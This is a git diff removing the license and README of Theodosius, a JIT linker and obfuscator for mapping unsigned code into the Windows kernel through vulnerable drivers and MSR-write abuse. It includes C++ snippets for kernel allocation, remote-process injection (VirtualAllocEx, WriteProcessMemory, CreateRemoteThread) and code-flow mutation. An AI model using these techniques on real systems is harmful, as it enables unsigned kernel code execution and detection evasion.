parent
4ea2ba046b
commit
ea7050243f
@ -1,29 +0,0 @@
|
||||
BSD 3-Clause License
|
||||
|
||||
Copyright (c) 2021, _xeroxz
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of the copyright holder nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
@ -1,776 +1 @@
|
||||
<div align="center">
|
||||
<div>
|
||||
<img width="27%" src="https://githacks.org/_xeroxz/theodosius/-/raw/07b58a233c0fbd289856c90158fe342fc4be4deb/imgs/theo.jpg"/>
|
||||
</div>
|
||||
<img src="https://githacks.org/_xeroxz/theodosius/-/raw/b9ac84ec1458469c707f89f89da8f3815a54fb9d/imgs/MSREXEC-Inherited-green.svg"/>
|
||||
<img src="https://githacks.org/_xeroxz/theodosius/-/raw/b9ac84ec1458469c707f89f89da8f3815a54fb9d/imgs/VDM-Inherited-green.svg"/>
|
||||
</div>
|
||||
|
||||
# Theodosius - Jit linker, Mapper, Mutator, and Obfuscator
|
||||
|
||||
Theodosius (Theo for short) is a jit linker created entirely for obfuscation and mutation of both code, and code flow. The project is extremely modular in design and supports
|
||||
both kernel and usermode projects. Since Theo inherits HMDM (highly modular driver mapper), any vulnerable driver that exposes arbitrary MSR writes, or physical memory read/write can be used with this framework to map unsigned code into the kernel. This is possible since HMDM inherits VDM (vulnerable driver manipulation), and MSREXEC (elevation of arbitrary MSR writes to kernel execution).
|
||||
|
||||
Theo can be used for many projects. The modularity of the code allows for a programmer to use this framework however they please. A few example usages of Theo would be, streaming code and data from a .lib over a network directly into memory, resolving unexported symbols via PDB, allocating each instruction of a function inside of code caves, and much more.
|
||||
|
||||
### Table Of Contents
|
||||
|
||||
* [Theodosius - Jit linker, Mapper, Mutator, and Obfuscator](https://githacks.org/_xeroxz/theodosius#theodosius-jit-linker-mapper-mutator-and-obfuscator)
|
||||
* [Credit And Dependencies](https://githacks.org/_xeroxz/theodosius#credit-and-dependencies)
|
||||
* [Linking - Dynamic And Static](https://githacks.org/_xeroxz/theodosius#linking-dynamic-and-static)
|
||||
* [What Is A Linker](https://githacks.org/_xeroxz/theodosius#what-is-a-linker)
|
||||
* [Object Files](https://githacks.org/_xeroxz/theodosius#object-files)
|
||||
* [Static Linking](https://githacks.org/_xeroxz/theodosius#static-linking)
|
||||
* [Dynamic Linking](https://githacks.org/_xeroxz/theodosius#dynamic-linking)
|
||||
* [Usage - Using Theodosius](https://githacks.org/_xeroxz/theodosius#usage-using-theodosius)
|
||||
* [Integrating Clang](https://githacks.org/_xeroxz/theodosius#integrating-clang)
|
||||
* [Requirements](https://githacks.org/_xeroxz/theodosius#requirements)
|
||||
* [Lambdas For Explicit Constructor](https://githacks.org/_xeroxz/theodosius#lambdas-for-explicit-constructor)
|
||||
* [`theo::memcpy_t` - copy memory lambda](https://githacks.org/_xeroxz/theodosius#theomemcpy_t-copy-memory-lambda)
|
||||
* [`theo::malloc_t` - allocate executable memory](https://githacks.org/_xeroxz/theodosius#theomalloc_t-allocate-executable-memory)
|
||||
* [`theo::resolve_symbol_t` - resolve external symbol](https://githacks.org/_xeroxz/theodosius#theoresolve_symbol_t-resolve-external-symbol)
|
||||
* [Creating Instance](https://githacks.org/_xeroxz/theodosius#creating-instance)
|
||||
* [Calling Entry](https://githacks.org/_xeroxz/theodosius#calling-entry)
|
||||
* [MSREXEC - Call Entry Example](https://githacks.org/_xeroxz/theodosius#msrexec-call-entry-example)
|
||||
* [VDM - Call Entry Example](https://githacks.org/_xeroxz/theodosius#vdm-call-entry-example)
|
||||
* [WinAPI - Call Entry Example](https://githacks.org/_xeroxz/theodosius#winapi-call-entry-example)
|
||||
* [RIP Relative Addressing](https://githacks.org/_xeroxz/theodosius#rip-relative-addressing)
|
||||
* [JCC - RIP Relative](https://githacks.org/_xeroxz/theodosius#jcc-rip-relative)
|
||||
* [Obfuscation](https://githacks.org/_xeroxz/theodosius#obfuscation)
|
||||
* [Obfuscate - Base Class](https://githacks.org/_xeroxz/theodosius#obfuscate-base-class)
|
||||
* [Mutation - Inherts Obfuscation](https://githacks.org/_xeroxz/theodosius#mutation-inherts-obfuscation)
|
||||
* [Examples](https://githacks.org/_xeroxz/theodosius#examples)
|
||||
* [Kernel Example](https://githacks.org/_xeroxz/theodosius#kernel-example)
|
||||
* [Usermode Example](https://githacks.org/_xeroxz/theodosius#usermode-example)
|
||||
* [License - BSD 3-Clause](https://githacks.org/_xeroxz/theodosius#license-bsd-3-clause)
|
||||
|
||||
### Credit And Dependencies
|
||||
|
||||
* [BTBD](https://github.com/btbd) - Huge thanks for providing suggestions and bouncing ideas back and forth.
|
||||
* [SMAP](https://github.com/btbd/smap) - scatter mapper, this project is heavily influenced by SMAP.
|
||||
* [Zydis](https://github.com/zyantific/zydis) - used to decompile obfuscated routines and find JCC's.
|
||||
* [asmjit](https://github.com/asmjit/asmjit) - used to generate link-time code (mutated routines).
|
||||
* [LLVM-Obfuscator](https://github.com/obfuscator-llvm/obfuscator/wiki) - Here are the following devs:
|
||||
* [Pascal Junod](https://crypto.junod.info/)
|
||||
* Julien Rinaldini
|
||||
* [Johan Wehrli](https://twitter.com/jowehrli)
|
||||
* Julie Michielin
|
||||
* Stéphane Ongagna
|
||||
* Grégory Ruch
|
||||
* Sébastien Bischof
|
||||
|
||||
## Linking - Dynamic And Static
|
||||
|
||||
#### What Is A Linker
|
||||
|
||||
A linker is a program which takes object files produces by a compiler and generates a final executable native to the operating system. A linker interfaces with not only object files but also static libraries, "lib" files. What is a "lib" file? Well a lib file is just an archive of obj's. You can invision it as a zip/rar without any compression, just concatination of said object files.
|
||||
|
||||
Theo is a jit linker, which means it will link objs together and map them into memory all at once. For usability however, instead of handling object files, Theo can parse entire lib files and extract the objects out of the lib.
|
||||
|
||||
#### Object Files
|
||||
|
||||
If you define a c++ file called "main.cpp" the compiler will generate an object file by the name of "main.obj". When you refer to data or code defined in another c/c++ file, the linker uses a symbol table to resolve the address of said code/data. In this situation I am the linker and I resolve all of your symbols :).
|
||||
|
||||
#### Static Linking
|
||||
|
||||
Static linking is when the linker links entire routines not created by you, into your code. Say `memcpy` (if its not inlined), will be staticlly linked with the CRT. Static linking also allows for your code to be more independant as all the code you need you bring with you. However, with Theo, you cannot link static libraries which are not compiled with `mcmodel=large`. Theo supports actual static linking, in other words, using multiple static libraries at the same time.
|
||||
|
||||
#### Dynamic Linking
|
||||
|
||||
Dynamic linking is when external symbols are resolved at runtime. This is done by imports and exports in DLL's (dynamiclly linked libraries). Theo supports "dynamic linking", or in better terms, linking against exported routines. You can see examples of this inside of both usermode and kernelmode examples.
|
||||
|
||||
# Usage - Using Theodosius
|
||||
|
||||
## Integrating Clang
|
||||
|
||||
For integration with visual studios please open install [llvm2019](https://marketplace.visualstudio.com/items?itemName=MarekAniola.mangh-llvm2019) extension, or [llvm2017](https://marketplace.visualstudio.com/items?itemName=LLVMExtensions.llvm-toolchain) extension. Once installed, create or open a visual studio project which you want to use with LLVM-Obfuscator and Theo. Open ***Properties*** --> ***Configuration Properties*** ---> ***General***, then set ***Platform Toolset*** to ***LLVM***.
|
||||
|
||||
Once LLVM is selected, under the ***LLVM*** tab change the clang-cl location to the place where you extracted [clang-cl.rar](https://githacks.org/_xeroxz/theodosius/-/blob/cc9496ccceba3d1f0916859ddb2583be9362c908/resources/clang-cl.rar). Finally under ***Additional Compiler Options*** (same LLVM tab), set the following: `-Xclang -std=c++1z -Xclang -mcode-model -Xclang large -Xclang -fno-jump-tables -mllvm -split -mllvm -split_num=4 -mllvm -sub_loop=4`.
|
||||
|
||||
Please refer to the [LLVM-Obfuscator Wiki](https://github.com/obfuscator-llvm/obfuscator/wiki) for more information on commandline arguments.
|
||||
|
||||
#### Requirements
|
||||
|
||||
* No SEH support, do not add `__try/__except` in your code.
|
||||
* No CFG (control flow guard) support. Please disable this in C/C++ ---> Code Generation ---> Control Flow Guard
|
||||
* No Stack Security Check Support. Please disablel this in C/C++ ---> Code Generation ---> Security Check (/GS-)
|
||||
* Your project must be set to produce a .lib file.
|
||||
* Your project must not link with other static libraries which are not compiled with `-Xclang -mcmodel-large`.
|
||||
* Project must be compiled with the following flags
|
||||
* `-Xclang -mcmodel=large`, removes RIP relative addressing besides JCC's.
|
||||
* `-Xclang -fno-jump-tables`, removes jump tables created by switch cases.
|
||||
* `/Zc:threadSafeInit-`, static will not use TLS (thread local storage).
|
||||
|
||||
## Lambdas For Explicit Constructor
|
||||
|
||||
Theodosius uses the same class structure as HMDM does. Its a highly modular format which allows for extreme usage, supporting almost every idea one might have. In order to use Theo, you must first define three lambdas, `theo::memcpy_t` a method of copying memory, `theo::malloc_t` a method to allocate executable memory, and lastely `theo::resolve_symbol_t` a lamdba to resolve external symbols.
|
||||
|
||||
### `theo::memcpy_t` - copy memory lambda
|
||||
|
||||
This is used to write memory, it is never used to read memory. An example of this lambda using VDM could be:
|
||||
|
||||
```cpp
|
||||
theo::memcpy_t _kmemcpy =
|
||||
[&](void* dest, const void* src, std::size_t size) -> void*
|
||||
{
|
||||
static const auto kmemcpy =
|
||||
reinterpret_cast<void*>(
|
||||
utils::kmodule::get_export(
|
||||
"ntoskrnl.exe", "memcpy"));
|
||||
|
||||
return vdm.syscall<decltype(&memcpy)>(kmemcpy, dest, src, size);
|
||||
};
|
||||
```
|
||||
|
||||
This uses VDM to syscall into memcpy exported by ntoskrnl... If you want to do something in usermode you can proxy memcpy to `WriteProcessMemory` or any other method of writing memory.
|
||||
|
||||
```cpp
|
||||
theo::memcpy_t _memcpy =
|
||||
[&](void* dest, const void* src, std::size_t size) -> void*
|
||||
{
|
||||
SIZE_T bytes_handled;
|
||||
if (!WriteProcessMemory(phandle, dest, src, size, &bytes_handled))
|
||||
{
|
||||
std::printf("[!] failed to write process memory...\n");
|
||||
exit(-1);
|
||||
}
|
||||
return dest;
|
||||
};
|
||||
```
|
||||
|
||||
### `theo::malloc_t` - allocate executable memory
|
||||
|
||||
This lambda is used to allocate executable memory. Any method will do as long as the memcpy lambda can write to the allocated memory. An MSREXEC example for this lambda is defined below.
|
||||
|
||||
```cpp
|
||||
theo::malloc_t _kalloc = [&](std::size_t size) -> void*
|
||||
{
|
||||
void* alloc_base;
|
||||
msrexec.exec
|
||||
(
|
||||
[&](void* krnl_base, get_system_routine_t get_kroutine) -> void
|
||||
{
|
||||
using ex_alloc_pool_t =
|
||||
void* (*)(std::uint32_t, std::size_t);
|
||||
|
||||
const auto ex_alloc_pool =
|
||||
reinterpret_cast<ex_alloc_pool_t>(
|
||||
get_kroutine(krnl_base, "ExAllocatePool"));
|
||||
|
||||
alloc_base = ex_alloc_pool(NULL, size);
|
||||
}
|
||||
);
|
||||
return alloc_base;
|
||||
};
|
||||
```
|
||||
|
||||
This lambda uses MSREXEC to allocate kernel memory via ExAllocatePool. However this is completely open ended on how you want to do it, you can allocate your memory into discarded
|
||||
sections, you can allocate your memory in another address space, etc... Its extremely modular.
|
||||
|
||||
|
||||
Another, yet simple, usermode example for this lambda is defined below.
|
||||
|
||||
```cpp
|
||||
theo::malloc_t _alloc = [&](std::size_t size) -> void*
|
||||
{
|
||||
return VirtualAllocEx
|
||||
(
|
||||
phandle,
|
||||
nullptr,
|
||||
size,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
### `theo::resolve_symbol_t` - resolve external symbol
|
||||
|
||||
This lambda will try and resolve external symbols. Symbols which are not defined inside of any object files. For example `PiddbCacheTable`, an unexported ntoskrnl symbol, which normally people sig scan for, can now be jit linked. This is possible by parsing a MAP file, however you can recode this to support PDB's, etc. Again its completely opened ended on how you want to resolve symbols.
|
||||
|
||||
```cpp
|
||||
theo::resolve_symbol_t resolve_symbol =
|
||||
[&, &extern_symbols = extern_symbols](const char* symbol_name) -> std::uintptr_t
|
||||
{
|
||||
std::uintptr_t result = 0u;
|
||||
for (auto& [drv_name, drv_symbols] : extern_symbols)
|
||||
{
|
||||
// each kernel module... find a driver with a matching map file name...
|
||||
// I.E ntoskrnl.exe.map == ntoskrnl.exe...
|
||||
utils::kmodule::each_module
|
||||
(
|
||||
[&, &drv_name = drv_name, &drv_symbols = drv_symbols]
|
||||
(PRTL_PROCESS_MODULE_INFORMATION drv_info, const char* drv_path) -> bool
|
||||
{
|
||||
const auto _drv_name =
|
||||
reinterpret_cast<const char*>(
|
||||
drv_info->OffsetToFileName + drv_info->FullPathName);
|
||||
|
||||
// if this is the driver, load it, loop over its sections
|
||||
// calc the absolute virtual address of the symbol...
|
||||
if (!strcmp(_drv_name, drv_name.c_str()))
|
||||
{
|
||||
const auto drv_load_addr =
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
LoadLibraryExA(drv_path, NULL, DONT_RESOLVE_DLL_REFERENCES));
|
||||
|
||||
std::uint32_t section_count = 1u;
|
||||
utils::pe::each_section
|
||||
(
|
||||
[&, &drv_symbols = drv_symbols]
|
||||
(PIMAGE_SECTION_HEADER section_header, std::uintptr_t img_base) -> bool
|
||||
{
|
||||
if (section_count == drv_symbols[symbol_name].first)
|
||||
{
|
||||
result = reinterpret_cast<std::uintptr_t>(drv_info->ImageBase) +
|
||||
section_header->VirtualAddress + drv_symbols[symbol_name].second;
|
||||
|
||||
// we found the symbol...
|
||||
return false;
|
||||
}
|
||||
|
||||
++section_count;
|
||||
// keep going over sections...
|
||||
return true;
|
||||
}, drv_load_addr
|
||||
);
|
||||
}
|
||||
|
||||
// keep looping over modules until we resolve the symbol...
|
||||
return !result;
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
// if the symbol was not resolved in any of the map files then try
|
||||
// to see if its an export from any other drivers...
|
||||
if (!result)
|
||||
{
|
||||
utils::kmodule::each_module
|
||||
(
|
||||
[&](PRTL_PROCESS_MODULE_INFORMATION drv_info, const char* drv_path) -> bool
|
||||
{
|
||||
const auto drv_name =
|
||||
reinterpret_cast<const char*>(
|
||||
drv_info->OffsetToFileName + drv_info->FullPathName);
|
||||
|
||||
// false if we found the symbol...
|
||||
return (!(result = utils::kmodule::get_export(drv_name, symbol_name)));
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
return result;
|
||||
};
|
||||
```
|
||||
|
||||
Another example of this lambda can be viewed in the usermode examples. This routine simply loops over every single module mapped into the specific process you want to map/link with.
|
||||
|
||||
```cpp
|
||||
theo::resolve_symbol_t _resolver =
|
||||
[&, &extern_symbols = extern_symbols](const char* symbol_name) -> std::uintptr_t
|
||||
{
|
||||
auto loaded_modules = std::make_unique<HMODULE[]>(64);
|
||||
std::uintptr_t result = 0u, loaded_module_sz = 0u;
|
||||
|
||||
if (!EnumProcessModules(phandle,
|
||||
loaded_modules.get(), 512, (PDWORD)&loaded_module_sz))
|
||||
return {};
|
||||
|
||||
for (auto i = 0u; i < loaded_module_sz / 8u; i++)
|
||||
{
|
||||
wchar_t file_name[MAX_PATH] = L"";
|
||||
if (!GetModuleFileNameExW(phandle,
|
||||
loaded_modules.get()[i], file_name, _countof(file_name)))
|
||||
continue;
|
||||
|
||||
if ((result = reinterpret_cast<std::uintptr_t>(
|
||||
GetProcAddress(LoadLibrary(file_name), symbol_name))))
|
||||
break;
|
||||
}
|
||||
|
||||
return result;
|
||||
};
|
||||
```
|
||||
|
||||
### Creating Instance
|
||||
|
||||
Once all three lambdas are defined, you can then create a `theo::hmm_ctx` (highly modular mapper context). This class is like the one from HMDM however it requires an extra lambda to resolve external symbols.
|
||||
|
||||
```cpp
|
||||
theo::hmm_ctx drv_mapper({ _alloc, _memcpy, _resolver });
|
||||
|
||||
const auto drv_entry =
|
||||
reinterpret_cast<LPTHREAD_START_ROUTINE>(
|
||||
drv_mapper.map_objs(image_objs));
|
||||
```
|
||||
|
||||
### Calling Entry
|
||||
|
||||
#### MSREXEC - Call Entry Example
|
||||
|
||||
The entry point of the mapped code is not invoked by `hmm_ctx`, but rather its left up to you to call. An example of calling the entry point can be seen below.
|
||||
|
||||
```cpp
|
||||
int result;
|
||||
msrexec.exec([&result, drv_entry = drv_entry]
|
||||
(void* krnl_base, get_system_routine_t get_kroutine) -> void
|
||||
{
|
||||
using drv_entry_t = int(*)();
|
||||
result = reinterpret_cast<drv_entry_t>(drv_entry)();
|
||||
});
|
||||
```
|
||||
|
||||
#### VDM - Call Entry Example
|
||||
|
||||
Another example, this one using VDM, can be seen below.
|
||||
|
||||
```cpp
|
||||
const auto entry_result =
|
||||
vdm.syscall<NTSTATUS(*)()>(
|
||||
reinterpret_cast<void*>(drv_entry));
|
||||
```
|
||||
|
||||
#### WinAPI - Call Entry Example
|
||||
|
||||
Another example, this one using WinAPI's, can be seen below.
|
||||
|
||||
```cpp
|
||||
std::uint32_t tid = 0u;
|
||||
CreateRemoteThread
|
||||
(
|
||||
phandle, NULL,
|
||||
NULL, drv_entry,
|
||||
NULL, NULL,
|
||||
(LPDWORD)&tid
|
||||
);
|
||||
```
|
||||
|
||||
## RIP Relative Addressing
|
||||
|
||||
In order to allow for a routine to be scattered throughout a 64bit address space, RIP relative addressing must not be used. In order to facilitate this, a very special version
|
||||
of clang-cl is used which can use `mcmodel=large`. This will generate instructions which do not use RIP relative addressing when referencing symbols outside of the routine in which the
|
||||
instruction itself resides. The only exception to this is JCC instructions, (besides call) also known as branching instructions. Take this c++ code for an example:
|
||||
|
||||
```cpp
|
||||
ObfuscateRoutine
|
||||
extern "C" int ModuleEntry()
|
||||
{
|
||||
MessageBoxA(0, "Demo", "Hello From Obfuscated Routine!", 0);
|
||||
UsermodeMutateDemo();
|
||||
UsermodeNoObfuscation();
|
||||
}
|
||||
```
|
||||
|
||||
This c++ function, compiled by clang-cl with `mcmodel=large`, will generate a routine with the following instructions:
|
||||
|
||||
```
|
||||
0x00: ; void UsermodeNoObfuscation(void)
|
||||
0x00: public ?UsermodeNoObfuscation@@YAXXZ
|
||||
0x00: ?UsermodeNoObfuscation@@YAXXZ proc near ; CODE XREF: ModuleEntry+42↓p
|
||||
0x00: var_4 = dword ptr -4
|
||||
0x00: 48 83 EC 28 sub rsp, 28h
|
||||
0x04: C7 44 24 24 00 00 00 00 mov [rsp+28h+var_4], 0
|
||||
0x0C: loc_C:
|
||||
0x0C: 83 7C 24 24 05 cmp [rsp+28h+var_4], 5
|
||||
0x11: 0F 83 38 00 00 00 jnb loc_4F
|
||||
0x17: 31 C0 xor eax, eax
|
||||
0x19: 48 BA 28 01 00 00 00 00 00 00 mov rdx, offset ??_C@_04DKDMNOEB@Demo?$AA@ ; "Demo"
|
||||
0x23: 49 B8 00 01 00 00 00 00 00 00 mov r8, offset ??_C@_0CD@JEJKPGNA@Hello?5... ; "Hello From Non-Obfuscated Routine!"
|
||||
0x2D: 48 B8 A0 01 00 00 00 00 00 00 mov rax, offset MessageBoxA
|
||||
0x37: 45 31 C9 xor r9d, r9d ; uType
|
||||
0x3A: 44 89 C9 mov ecx, r9d ; hWnd
|
||||
0x3D: FF D0 call rax ; MessageBoxA
|
||||
0x3F: 8B 44 24 24 mov eax, [rsp+28h+var_4]
|
||||
0x43: 83 C0 01 add eax, 1
|
||||
0x46: 89 44 24 24 mov [rsp+28h+var_4], eax
|
||||
0x4A: E9 BD FF FF FF jmp loc_C
|
||||
0x4F: loc_4F:
|
||||
0x4F: 48 83 C4 28 add rsp, 28h
|
||||
0x53: C3 retn
|
||||
0x53: ?UsermodeNoObfuscation@@YAXXZ endp
|
||||
```
|
||||
|
||||
As you can see from the code above, (sorry for the terrible syntax highlighting), references to strings and calls to functions are done by first loading the address of the symbol into a register and then interfacing with the symbol.
|
||||
|
||||
```
|
||||
0x2D: 48 B8 A0 01 00 00 00 00 00 00 mov rax, offset MessageBoxA
|
||||
; ...
|
||||
0x3D: FF D0 call rax ; MessageBoxA
|
||||
```
|
||||
|
||||
Each of these instructions can be anywhere in virtual memory and it would not effect code execution one bit. However this is not the case with routines which have conditional branches. Take the following c++ code for example.
|
||||
|
||||
## JCC - RIP Relative
|
||||
|
||||
```cpp
|
||||
ObfuscateRoutine
|
||||
void LoopDemo()
|
||||
{
|
||||
for (auto idx = 0u; idx < 10; ++idx)
|
||||
DbgPrint("> Loop Demo: %d\n", idx);
|
||||
}
|
||||
```
|
||||
|
||||
This c++ function, compiled by clang-cl with `mcmodel=large`, will generate a routine with the following instructions:
|
||||
|
||||
```
|
||||
0x58 ; void LoopDemo(void)
|
||||
0x58 public ?LoopDemo@@YAXXZ
|
||||
0x58 ?LoopDemo@@YAXXZ proc near
|
||||
0x58 var_4 = dword ptr -4
|
||||
0x58
|
||||
0x58 48 83 EC 28 sub rsp, 28h
|
||||
0x5C C7 44 24 24 00 00 00 00 mov [rsp+28h+var_4], 0
|
||||
0x64 loc_64:
|
||||
0x64 83 7C 24 24 0A cmp [rsp+28h+var_4], 0Ah
|
||||
0x69 0F 83 2A 00 00 00 jnb loc_99
|
||||
0x6F 8B 54 24 24 mov edx, [rsp+28h+var_4]
|
||||
0x73 48 B9 60 01 00 00 00 00 00 00 mov rcx, offset ??_C@_0BB@HGKDPLMC@?$.... ; "> Loop Demo: %d\n"
|
||||
0x7D 48 B8 38 02 00 00 00 00 00 00 mov rax, offset DbgPrint
|
||||
0x87 FF D0 call rax ; DbgPrint
|
||||
0x89 8B 44 24 24 mov eax, [rsp+28h+var_4]
|
||||
0x8D 83 C0 01 add eax, 1
|
||||
0x90 89 44 24 24 mov [rsp+28h+var_4], eax
|
||||
0x94 E9 CB FF FF FF jmp loc_64
|
||||
0x99 loc_99:
|
||||
0x99 48 83 C4 28 add rsp, 28h
|
||||
0x9D C3 retn
|
||||
0x9D ?LoopDemo@@YAXXZ endp
|
||||
```
|
||||
|
||||
Uh oh, `jnb loc_99`?, thats RIP relative! In order to handle branching operations, a "jump table" is generated by `obfuscation::obfuscate` explicit default constructor. Instead of branching to the RIP relative code, it will instead branch to an inline jump (`JMP [RIP+0x0]`). As demonstrated below, the branching operation is altered to branch to an asbolute jump.
|
||||
|
||||
```
|
||||
ffff998b`c5369e60 0f830e000000 jnb ffff998b`c5369e74
|
||||
ffff998b`c5369e66 ff2500000000 jmp qword ptr [ffff998b`c5369e6c]
|
||||
...
|
||||
ffff998b`c5369e74 ff2500000000 jmp qword ptr [ffff998b`c5369e7a]
|
||||
```
|
||||
|
||||
The linker is able to get the address of the branching code by taking the rip relative virtual address of the branching operation, which is a signed number, and adding it to the current byte offset into the current routine, plus the size of the branching instruction. For example `LoopDemo@17` + size of the branching instruction, which is six bytes, then adding the signed relative virtual address (0x2A). The result of this simple calculation gives us `LoopDemo@65`, which is correct, the branch goes to `add rsp, 28h` in the above example.
|
||||
|
||||
## Obfuscation
|
||||
|
||||
The usage of the word obfuscation in this project is use to define any changes made to code, this includes code flow. `obfuscation::obfuscate`, a base class, which is inherited and expanded upon by `obfuscation::mutation`, obfuscates code flow by inserting `JMP [RIP+0x0]` instructions after every single instruction. This allows for a routine to be broken up into unique allocations of memory and thus provides more canvas room for creative ideas.
|
||||
|
||||
### Obfuscate - Base Class
|
||||
|
||||
The base class, as described in the above section, contains a handful of util routines and a single explicit constructor which is the corner stone of the class. The constructor fixes JCC relative virtual addresses so that if the condition is met, instead of jumping instruction pointer relativitly, it will jump to an addition jmp (`JMP [RIP+0x0]`).
|
||||
|
||||
|
||||
LEA's, nor CALL's are rip relative, even for symbols defined inside of the routine in which the instruction is compiled into. In other words JCC instructions are the only instruction pointer relative instructions that are generated.
|
||||
|
||||
|
||||
```
|
||||
instruction
|
||||
jmp next instruction
|
||||
|
||||
|
||||
instruction
|
||||
jmp next instruction
|
||||
|
||||
|
||||
instruction
|
||||
jmp next instruction
|
||||
```
|
||||
|
||||
### Mutation - Inherts Obfuscation
|
||||
|
||||
This class inherits from `obfuscate` and adds additional code, or "mutation". This class is a small example of how to use inheritance with `obfuscate` base class. It generates a stack push/pop palindrome. The state of the stack is restored before the routines actual instruction is executed. The assembly will now look like this in memory:
|
||||
|
||||
```
|
||||
push gp
|
||||
push gp
|
||||
push gp
|
||||
...
|
||||
pop gp
|
||||
pop gp
|
||||
pop gp
|
||||
exec routine instruction
|
||||
jmp next instruction
|
||||
|
||||
push gp
|
||||
push gp
|
||||
push gp
|
||||
push gp
|
||||
push gp
|
||||
...
|
||||
pop gp
|
||||
pop gp
|
||||
pop gp
|
||||
pop gp
|
||||
pop gp
|
||||
exec routine instruction
|
||||
jmp next instruction
|
||||
|
||||
push gp
|
||||
push gp
|
||||
push gp
|
||||
...
|
||||
pop gp
|
||||
pop gp
|
||||
pop gp
|
||||
exec routine instruction
|
||||
jmp next instruction
|
||||
```
|
||||
|
||||
Again this is just a demo/POC on how you can inherit `obfuscate`. This also shows an example of how to use `asmjit`.
|
||||
|
||||
# Examples
|
||||
|
||||
### Kernel Example
|
||||
|
||||
<img src="https://githacks.org/_xeroxz/theodosius/-/raw/d286946c4727c91e0ca8d6059335382f00db4b91/imgs/kernel-example-2.png"/>
|
||||
|
||||
This example uses MSREXEC and Theodosius to map unsigned code into the kernel. This example is inside of the "Examples" folder. I would also like to note that in this demo external unexported ntoskrnl symbols are resolved by using a MAP file. This map file looks like this:
|
||||
|
||||
```
|
||||
00000001:0000000000000F10 KiOpTwoByteTable
|
||||
00000001:0000000000001168 SeSubsystemName
|
||||
00000001:0000000000001180 PlugPlayHandlerTable
|
||||
00000001:00000000000013E0 PiDmAggregatedBooleanDefs
|
||||
00000001:0000000000001490 PiDmCachedDeviceKeys
|
||||
00000001:0000000000001580 PiDmCachedDeviceInterfaceKeys
|
||||
00000001:00000000000015F0 AllowedCachedObjectNames
|
||||
00000001:0000000000001640 EmptyUnicodeString
|
||||
```
|
||||
|
||||
Mind the space at the beginning of each line. If you want to generate a file like this, put ntoskrnl.exe into IDA Pro and then click File ---> Produce File ---> Create MAP File, dont select "Segment Information", but do select "Demangled Names". After the MAP file is generate, please delete all of the garbage at the beginning of the file. I.E delete all spaces and "Address, Public By Value" stuff.
|
||||
|
||||
```
|
||||
|
||||
|
||||
Address Publics by Value
|
||||
|
||||
00000001:0000000000000000 VrpRegistryString
|
||||
....
|
||||
```
|
||||
|
||||
Once you have generated a map file for ntoskrnl.exe, or any other binary you want to link with, you can then use it to resolve external symbols. In the `DemoDrv` project, I reference two external symbols. One being `PiddbCacheTable`, and the other being a win32kfull.sys export.
|
||||
|
||||
```cpp
|
||||
// this is a demo of resolving non-exported symbols...
|
||||
// win32kfull.sys export example...
|
||||
extern "C" void NtUserRegisterShellPTPListener();
|
||||
extern "C" void* PiDDBCacheTable;
|
||||
|
||||
```
|
||||
|
||||
These two symbols are simply printed out via DbgPrint.
|
||||
|
||||
```cpp
|
||||
MutateRoutine extern "C" void DrvEntry()
|
||||
{
|
||||
DbgPrint("> Hello World!\n");
|
||||
|
||||
// non-exported symbols being resolved by jit linker...
|
||||
DbgPrint("> PiDDBCacheTable = 0x%p\n", &PiDDBCacheTable);
|
||||
DbgPrint("> win32kfull!NtUserRegisterShellPTPListener = 0x%p\n", &NtUserRegisterShellPTPListener);
|
||||
|
||||
// example of referencing itself...
|
||||
DbgPrint("> DrvEntry = 0x%p\n", &DrvEntry);
|
||||
|
||||
// example of calling other obfuscated/non obfuscated routines...
|
||||
PrintCR3();
|
||||
LoopDemo();
|
||||
}
|
||||
```
|
||||
|
||||
Once compiled the assembly will look like this. Note that each reference to symbols is done via a relocation to an absolute address. This means strings can (and will) be mapped into their own allocation of memory.
|
||||
|
||||
```
|
||||
0X0A8: public DrvEntry
|
||||
0X0A8: DrvEntry proc near
|
||||
0X0A8: 48 83 EC 28 sub rsp, 28h
|
||||
0X0AC: 48 B9 78 01 00 00 00 00 00 00 mov rcx, offset ??_C@_0BA@LBLNBFIC@?$D...; "> Hello World!\n"
|
||||
0X0B6: 48 B8 38 02 00 00 00 00 00 00 mov rax, offset DbgPrint
|
||||
0X0C0: FF D0 call rax ; DbgPrint
|
||||
0X0C2: 48 B9 88 01 00 00 00 00 00 00 mov rcx, offset ??_C@_0BK@PLIIADON...; "> PiDDBCacheTable = 0x%p\n"
|
||||
0X0CC: 48 BA 40 02 00 00 00 00 00 00 mov rdx, offset PiDDBCacheTable
|
||||
